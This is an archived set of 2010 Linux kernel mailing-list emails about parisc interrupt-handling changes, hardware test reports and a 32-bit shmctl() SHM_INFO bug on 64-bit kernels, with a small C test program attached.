	linux-input@vger.kernel.org,
	Linux/m68k <linux-m68k@lists.linux-m68k.org>,
	linux-parisc@vger.kernel.org
To: Dmitry Torokhov <dmitry.torokhov@gmail.com>
Original-X-From: linux-m68k-owner@vger.kernel.org Thu Oct 14 17:43:15 2010
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1P6Pxb-0003Lg-2a
	for glpm-linux-m68k@lo.gmane.org; Thu, 14 Oct 2010 17:43:15 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755374Ab0JNPnN (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Thu, 14 Oct 2010 11:43:13 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:37804 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754576Ab0JNPnL (ORCPT
	<rfc822;linux-m68k@lists.linux-m68k.org>);
	Thu, 14 Oct 2010 11:43:11 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux))
	id 1P6PxQ-0005Wy-GZ; Thu, 14 Oct 2010 15:43:04 +0000
Content-Disposition: inline
In-Reply-To: <20101013065602.GA7014@core.coreip.homeip.net>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:1652 gmane.linux.kernel.next:14397 gmane.linux.kernel.input:15957 gmane.linux.ports.parisc:3122
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3122>

On Tue, Oct 12, 2010 at 11:56:02PM -0700, Dmitry Torokhov wrote:
> Gah, that original patch was incorrect, I should not have applied it at
> all... The serio_device_id in question is for serio port that is being
> created by the driver and thus of course should not be used in
> MODULE_DEVICE_TABLE().
> 
> I'll drop it from my 'next' queue.
> 

Cool, thansk Dmitry!

--Kyle

From - Thu Nov 08 21:06:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <helge.deller@steuerkanzlei-deller.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [RFT] irq changes (was Re: [git] parisc: Changes to ref refs/heads/parisc)
Date: Fri, 15 Oct 2010 21:51:58 +0200
Lines: 34
Approved: news@gmane.org
Message-ID: <4CB8B0DE.1070606@steuerkanzlei-deller.de>
References: <201010140531.o9E5VRYK010123@hera.kernel.org> <20101014153931.GI24144@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1287172325 2863 80.91.229.12 (15 Oct 2010 19:52:05 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 15 Oct 2010 19:52:05 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 15 21:52:02 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1P6qJt-0006n7-Rh
	for glpp-linux-parisc@lo.gmane.org; Fri, 15 Oct 2010 21:52:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932173Ab0JOTwB (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 15 Oct 2010 15:52:01 -0400
Original-Received: from moutng.kundenserver.de ([212.227.17.8]:54950 "EHLO
	moutng.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756711Ab0JOTwA (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 15 Oct 2010 15:52:00 -0400
Original-Received: from [192.168.178.20] (p54AD11DB.dip0.t-ipconnect.de [84.173.17.219])
	by mrelayeu.kundenserver.de (node=mrbap2) with ESMTP (Nemesis)
	id 0La2FZ-1ONrWt3coH-00mF6F; Fri, 15 Oct 2010 21:51:58 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.9) Gecko/20100921 Fedora/3.1.4-1.fc13 Lightning/1.0b3pre Thunderbird/3.1.4
In-Reply-To: <20101014153931.GI24144@bombadil.infradead.org>
X-Provags-ID: V02:K0:gaD4idWuyD7fcZuWhjLBzb92yn8f8dYtnn46ATGGZl5
 bUiAIO9hQEIPUdAjS28eKMR/4VmX8yq46m2DG1vLfAv+z1K7L1
 gBwq47bBeZAVGULnL+clnFnLWRrSP61tbhr5yfkKzs4doB69Gd
 gY0jdmslK4IdOrjoA74SmWnHWT+/Da64q31nV+5PLEqFSAZJjo
 vuDNCIxU9MtvD5gcP6MisYe47MluVe0CbU/aEb0ozImXd0KKDQ
 bRphouWNWepnH
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3123
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3123>

  On 10/14/2010 05:39 PM, Kyle McMartin wrote:
> On Thu, Oct 14, 2010 at 05:31:27AM +0000, Kyle McMartin wrote:
>> commit 7da1272547ebe96982a42292dfc833457708f4da
>> Author: Kyle McMartin<kyle@dreadnought.i.jkkm.org>
>> Date:   Thu Oct 14 01:02:23 2010 -0400
>>
>>      parisc: kill __do_IRQ
>>
>>      Signed-off-by: Kyle McMartin<kyle@redhat.com>
>>
> So, I've killed our __do_IRQ calls... Could people please test this
> branch on a variety of machines? I've split up the changes so there's
> logical separation between converting the CPU interrupts, and the
> sub-interrupt sources (Superio, dino, etc.) so if your device fails
> to interrupt, you can just git revert that bit and test the CPU
> conversion while I fix it up.
>
> I *think* everything should be ok though, I've tested it on a500/rp3440
> class machines with iosapic, but not on anything older.

c3000 is ok too. But I think it has iosapic as well.
I will try if I can connect the 715/64 and b160L, but I'm not sure if I 
find time to do it this weekend...

BTW, fanotify* isn't wired up yet:
<stdin>:1526:2: warning: #warning syscall fanotify_init not implemented
<stdin>:1530:2: warning: #warning syscall fanotify_mark not implemented

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [RFT] irq changes (was Re: [git] parisc: Changes to ref
 refs/heads/parisc)
Date: Fri, 15 Oct 2010 16:01:42 -0400
Lines: 48
Approved: news@gmane.org
Message-ID: <20101015200141.GH8332@bombadil.infradead.org>
References: <201010140531.o9E5VRYK010123@hera.kernel.org>
 <20101014153931.GI24144@bombadil.infradead.org>
 <4CB8B0DE.1070606@steuerkanzlei-deller.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1287172906 5330 80.91.229.12 (15 Oct 2010 20:01:46 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 15 Oct 2010 20:01:46 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org
To: Helge Deller <helge.deller@steuerkanzlei-deller.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 15 22:01:45 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1P6qTH-0001Nc-OH
	for glpp-linux-parisc@lo.gmane.org; Fri, 15 Oct 2010 22:01:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756788Ab0JOUBn (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 15 Oct 2010 16:01:43 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:46708 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756786Ab0JOUBm (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 15 Oct 2010 16:01:42 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux))
	id 1P6qTG-00069y-3v; Fri, 15 Oct 2010 20:01:42 +0000
Content-Disposition: inline
In-Reply-To: <4CB8B0DE.1070606@steuerkanzlei-deller.de>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3124
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3124>

On Fri, Oct 15, 2010 at 09:51:58PM +0200, Helge Deller wrote:
>  On 10/14/2010 05:39 PM, Kyle McMartin wrote:
> >On Thu, Oct 14, 2010 at 05:31:27AM +0000, Kyle McMartin wrote:
> >>commit 7da1272547ebe96982a42292dfc833457708f4da
> >>Author: Kyle McMartin<kyle@dreadnought.i.jkkm.org>
> >>Date:   Thu Oct 14 01:02:23 2010 -0400
> >>
> >>     parisc: kill __do_IRQ
> >>
> >>     Signed-off-by: Kyle McMartin<kyle@redhat.com>
> >>
> >So, I've killed our __do_IRQ calls... Could people please test this
> >branch on a variety of machines? I've split up the changes so there's
> >logical separation between converting the CPU interrupts, and the
> >sub-interrupt sources (Superio, dino, etc.) so if your device fails
> >to interrupt, you can just git revert that bit and test the CPU
> >conversion while I fix it up.
> >
> >I *think* everything should be ok though, I've tested it on a500/rp3440
> >class machines with iosapic, but not on anything older.
> 
> c3000 is ok too. But I think it has iosapic as well.
> I will try if I can connect the 715/64 and b160L, but I'm not sure
> if I find time to do it this weekend...
> 

C3000 is a good one since it has SuperIO, I don't remember what devices
are behind it (IDE, USB, iirc...) though.

> BTW, fanotify* isn't wired up yet:
> <stdin>:1526:2: warning: #warning syscall fanotify_init not implemented
> <stdin>:1530:2: warning: #warning syscall fanotify_mark not implemented
> 

It's not enabled in 2.6.36 because of bugs:
commit 7c5347733dcc4ba0bac0baf86d99fae0561f33b7
Author: Eric Paris <eparis@redhat.com>
Date:   Mon Oct 11 18:13:31 2010 -0400

    fanotify: disable fanotify syscalls
    
Thanks for testing, Helge!
 --Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <helge.deller@steuerkanzlei-deller.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [RFT] irq changes (was Re: [git] parisc: Changes to ref refs/heads/parisc)
Date: Fri, 15 Oct 2010 22:10:21 +0200
Lines: 43
Approved: news@gmane.org
Message-ID: <4CB8B52D.6040300@steuerkanzlei-deller.de>
References: <201010140531.o9E5VRYK010123@hera.kernel.org> <20101014153931.GI24144@bombadil.infradead.org> <4CB8B0DE.1070606@steuerkanzlei-deller.de> <20101015200141.GH8332@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1287173433 7807 80.91.229.12 (15 Oct 2010 20:10:33 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 15 Oct 2010 20:10:33 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 15 22:10:31 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1P6qbg-0006IL-FA
	for glpp-linux-parisc@lo.gmane.org; Fri, 15 Oct 2010 22:10:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756809Ab0JOUKX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 15 Oct 2010 16:10:23 -0400
Original-Received: from moutng.kundenserver.de ([212.227.17.10]:51466 "EHLO
	moutng.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756808Ab0JOUKX (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 15 Oct 2010 16:10:23 -0400
Original-Received: from [192.168.178.20] (p54AD11DB.dip0.t-ipconnect.de [84.173.17.219])
	by mrelayeu.kundenserver.de (node=mrbap1) with ESMTP (Nemesis)
	id 0MZ7a0-1PNQ5B2nVM-00LMSZ; Fri, 15 Oct 2010 22:10:21 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.9) Gecko/20100921 Fedora/3.1.4-1.fc13 Lightning/1.0b3pre Thunderbird/3.1.4
In-Reply-To: <20101015200141.GH8332@bombadil.infradead.org>
X-Provags-ID: V02:K0:0cG7mCaqMZAUXEHmSTgHceMtqpeh6q/crQDV5yDZZpy
 8hzCZnA+tCLHod2pilfSAsgzg/XB8J4w+g4jTVUMxVY//KuLmW
 WncSWpx+DsN7CusftTyVZgufgmpkB8k8xhKodBllaX8p0Su/u3
 ITH+FeGwlHND0mNilKyBpb+CgOBN+xg1H0P3+W7QXGn/ELKX3/
 1udvsNGTWkx/0h8+/5xSrTddCRWw0tFQG4WwcpKoNFcS0bbe/X
 xJV5Zk6aj7TpL
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3125
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3125>

  On 10/15/2010 10:01 PM, Kyle McMartin wrote:
> On Fri, Oct 15, 2010 at 09:51:58PM +0200, Helge Deller wrote:
>>   On 10/14/2010 05:39 PM, Kyle McMartin wrote:
>>> On Thu, Oct 14, 2010 at 05:31:27AM +0000, Kyle McMartin wrote:
>>>> commit 7da1272547ebe96982a42292dfc833457708f4da
>>>> Author: Kyle McMartin<kyle@dreadnought.i.jkkm.org>
>>>> Date:   Thu Oct 14 01:02:23 2010 -0400
>>>>
>>>>      parisc: kill __do_IRQ
>>>>
>>>>      Signed-off-by: Kyle McMartin<kyle@redhat.com>
>>>>
>>> So, I've killed our __do_IRQ calls... Could people please test this
>>> branch on a variety of machines? I've split up the changes so there's
>>> logical separation between converting the CPU interrupts, and the
>>> sub-interrupt sources (Superio, dino, etc.) so if your device fails
>>> to interrupt, you can just git revert that bit and test the CPU
>>> conversion while I fix it up.
>>>
>>> I *think* everything should be ok though, I've tested it on a500/rp3440
>>> class machines with iosapic, but not on anything older.
>> c3000 is ok too. But I think it has iosapic as well.
>> I will try if I can connect the 715/64 and b160L, but I'm not sure
>> if I find time to do it this weekend...
>>
> C3000 is a good one since it has SuperIO, I don't remember what devices
> are behind it (IDE, USB, iirc...) though.
SuperIO: Found NS87560 Legacy I/O device at 0000:00:0e.1 (IRQ 67)
SuperIO: Serial port 1 at 0x3f8
SuperIO: Serial port 2 at 0x2f8
SuperIO: Parallel port at 0x378
SuperIO: Floppy controller at 0x3f0
SuperIO: ACPI at 0x7e0
SuperIO: USB regulator enabled

And serial works, since I'm running on serial console.... :-)

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <helge.deller@steuerkanzlei-deller.de>
Newsgroups: gmane.linux.ports.parisc
Subject: shmctl() broken on 64bit kernel
Date: Fri, 15 Oct 2010 23:04:37 +0200
Lines: 85
Approved: news@gmane.org
Message-ID: <4CB8C1E5.2090609@steuerkanzlei-deller.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------040602070503000002080706"
X-Trace: dough.gmane.org 1287176681 21672 80.91.229.12 (15 Oct 2010 21:04:41 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 15 Oct 2010 21:04:41 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 15 23:04:40 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1P6rSC-0004kH-7y
	for glpp-linux-parisc@lo.gmane.org; Fri, 15 Oct 2010 23:04:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932194Ab0JOVEj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 15 Oct 2010 17:04:39 -0400
Original-Received: from moutng.kundenserver.de ([212.227.17.8]:62572 "EHLO
	moutng.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755970Ab0JOVEi (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 15 Oct 2010 17:04:38 -0400
Original-Received: from [192.168.178.20] (p54AD11DB.dip0.t-ipconnect.de [84.173.17.219])
	by mrelayeu.kundenserver.de (node=mreu0) with ESMTP (Nemesis)
	id 0LjwWD-1OVblE28AD-00bqAO; Fri, 15 Oct 2010 23:04:37 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.9) Gecko/20100921 Fedora/3.1.4-1.fc13 Lightning/1.0b3pre Thunderbird/3.1.4
X-Provags-ID: V02:K0:ENRaCMXkPyc2/ZDWtx5gYJgonpi2LvjtfyPN0vnpjgn
 pE36TX20I1ZVeDTqyRBqS3bztE3O/4RUzh2hgFdNnMsODcS0vI
 0hHpa+k6cl2zmahxMxvv3qec9v8LkVbaNAeZT5mmGrXhcq3FEz
 WKImfHSybfFh45ioEnW7r1ER8VEj6UwESLmd9cP0XuKR72YQQ3
 U193WB+meFj8ndWPW9+Ih9PLw7kZrtoXN8bqQuxZerLhxSPHxF
 y0dTnZcIYeCNe
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3126
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3126>

This is a multi-part message in MIME format.
--------------040602070503000002080706
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit

  32bit shmctl() syscall is broken on the 64bit parisc kernel.

Testcase attached.

On 32bit kernel:
used_ids = 1, shm_tot = 131072, shm_rss = 65536, shm_swp = 0, 
swap_attempts = 0, swap_successes = 0
Number of Segments :        1
SHM allocated      :   131072 (  512 MB)
SHM used in Memory :    65536 (  256 MB)
SHM used in Swap   :        0 (    0 MB)
Unused SHM         :    65536 (  256 MB)

Same (32bit) binary on 64bit kernel:
used_ids = 1, shm_tot = 0, shm_rss = 0, shm_swp = 131072, swap_attempts 
= 0, swap_successes = 65536
Number of Segments :        1
SHM allocated      :        0 (    0 MB)
SHM used in Memory :        0 (    0 MB)
SHM used in Swap   :   131072 (  512 MB)
Unused SHM         :  -131072 ( 3584 MB)



--------------040602070503000002080706
Content-Type: text/plain;
 name="shmtest2.c"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
 filename="shmtest2.c"

#include <stdio.h>
#include <time.h>
#include <string.h>
#include <sys/ipc.h>
#include <sys/shm.h>

#include <unistd.h>

#define SHM_KEY         ((key_t) 44000)
#define MB              (1024*1024UL)

int main(int argc, char *argv[])
{ 
  int ret;
  struct shm_info buf;

  int shmid;
  unsigned long shm_size = 512 * 1024 * 1024;
  unsigned char *ptr;
  int pageSize = getpagesize();

  shmid = shmget(SHM_KEY, shm_size, IPC_CREAT | 0777);
  ptr = shmat(shmid, NULL, SHM_RND);
  shmctl(shmid, IPC_RMID, NULL);
  memset(ptr, 1, shm_size/2  );

  ret = shmctl(0, SHM_INFO, &buf);
  printf("\n");
  printf("used_ids = %d, shm_tot = %d, shm_rss = %d, shm_swp = %d, swap_attempts = %d, swap_successes = %d\n",
	buf.used_ids, buf.shm_tot, buf.shm_rss, buf.shm_swp, buf.swap_attempts, buf.swap_successes);


  printf("Number of Segments : %8d \n", buf.used_ids);
  printf("SHM allocated      : %8d (%5d MB) \n", buf.shm_tot, buf.shm_tot * pageSize/MB);
  printf("SHM used in Memory : %8d (%5d MB) \n", buf.shm_rss, buf.shm_rss * pageSize/MB);
  printf("SHM used in Swap   : %8d (%5d MB) \n", buf.shm_swp, buf.shm_swp * pageSize/MB);
  printf("Unused SHM         : %8d (%5d MB) \n", buf.shm_tot - buf.shm_rss - buf.shm_swp, ( buf.shm_tot - buf.shm_rss - buf.shm_swp ) * pageSize/MB);

  shmdt(ptr);

  return 0;
}

--------------040602070503000002080706--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: shmctl() broken on 64bit kernel
Date: Fri, 15 Oct 2010 17:12:27 -0400
Lines: 16
Approved: news@gmane.org
Message-ID: <20101015211227.GK8332@bombadil.infradead.org>
References: <4CB8C1E5.2090609@steuerkanzlei-deller.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1287177157 23794 80.91.229.12 (15 Oct 2010 21:12:37 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 15 Oct 2010 21:12:37 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Helge Deller <helge.deller@steuerkanzlei-deller.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 15 23:12:35 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1P6rZl-00081S-TN
	for glpp-linux-parisc@lo.gmane.org; Fri, 15 Oct 2010 23:12:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756092Ab0JOVM3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 15 Oct 2010 17:12:29 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:58635 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755970Ab0JOVM2 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 15 Oct 2010 17:12:28 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux))
	id 1P6rZk-0007bD-0v; Fri, 15 Oct 2010 21:12:28 +0000
Content-Disposition: inline
In-Reply-To: <4CB8C1E5.2090609@steuerkanzlei-deller.de>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3127
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3127>

On Fri, Oct 15, 2010 at 11:04:37PM +0200, Helge Deller wrote:
>  32bit shmctl() syscall is broken on the 64bit parisc kernel.
> 

Have you had a chance to look at the patch you posted a few weeks ago
about the SHM_INFO breakage? I suspect it fixes this as well?

I think plucking the sparc64 or ppc64 structs should be ok, I don't
think there's any alignment differences offhand.

--Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <helge.deller@steuerkanzlei-deller.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: shmctl() broken on 64bit kernel
Date: Fri, 15 Oct 2010 23:15:38 +0200
Lines: 19
Approved: news@gmane.org
Message-ID: <4CB8C47A.4090507@steuerkanzlei-deller.de>
References: <4CB8C1E5.2090609@steuerkanzlei-deller.de> <20101015211227.GK8332@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1287177351 24577 80.91.229.12 (15 Oct 2010 21:15:51 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 15 Oct 2010 21:15:51 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 15 23:15:49 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1P6rcy-0000tM-U2
	for glpp-linux-parisc@lo.gmane.org; Fri, 15 Oct 2010 23:15:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932631Ab0JOVPn (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 15 Oct 2010 17:15:43 -0400
Original-Received: from moutng.kundenserver.de ([212.227.17.8]:60908 "EHLO
	moutng.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932562Ab0JOVPm (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 15 Oct 2010 17:15:42 -0400
Original-Received: from [192.168.178.20] (p54AD11DB.dip0.t-ipconnect.de [84.173.17.219])
	by mrelayeu.kundenserver.de (node=mrbap2) with ESMTP (Nemesis)
	id 0LjtbV-1OVc822BlB-00cJph; Fri, 15 Oct 2010 23:15:39 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.9) Gecko/20100921 Fedora/3.1.4-1.fc13 Lightning/1.0b3pre Thunderbird/3.1.4
In-Reply-To: <20101015211227.GK8332@bombadil.infradead.org>
X-Provags-ID: V02:K0:AhlB2DHXt5EsSmBw91PkZ/0nFskZDkJ9u4lInksjMp+
 t2cd4qozB/OwuTXk9pvfmZFH7uO6mPzMsoSBoqz/4+1UlYLJI9
 fzZtlyBkJfIhw/icMMsup3/hw+dNqrDYLetL6E0K+EGdhw69nS
 upSGVDc+5ivVFhzl/Zh+z/y2rqoq13IoHFABpankPPFHlPplF+
 irevK3rQfdkq5hc8Izk1cnQJB1r0843e9rUIpMMzYVShNdQvHb
 yKRli/5bkWEhv
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3128
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3128>

  On 10/15/2010 11:12 PM, Kyle McMartin wrote:
> On Fri, Oct 15, 2010 at 11:04:37PM +0200, Helge Deller wrote:
>>   32bit shmctl() syscall is broken on the 64bit parisc kernel.
>>
> Have you had a chance to look at the patch you posted a few weeks ago
> about the SHM_INFO breakage? I suspect it fixes this as well?
>
> I think plucking the sparc64 or ppc64 structs should be ok, I don't
> think there's any alignment differences offhand.

heh - I completely forgot I did sent the patch that time.... :-)
Anyway, no I didn't tested further yet (due to lack of time).

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
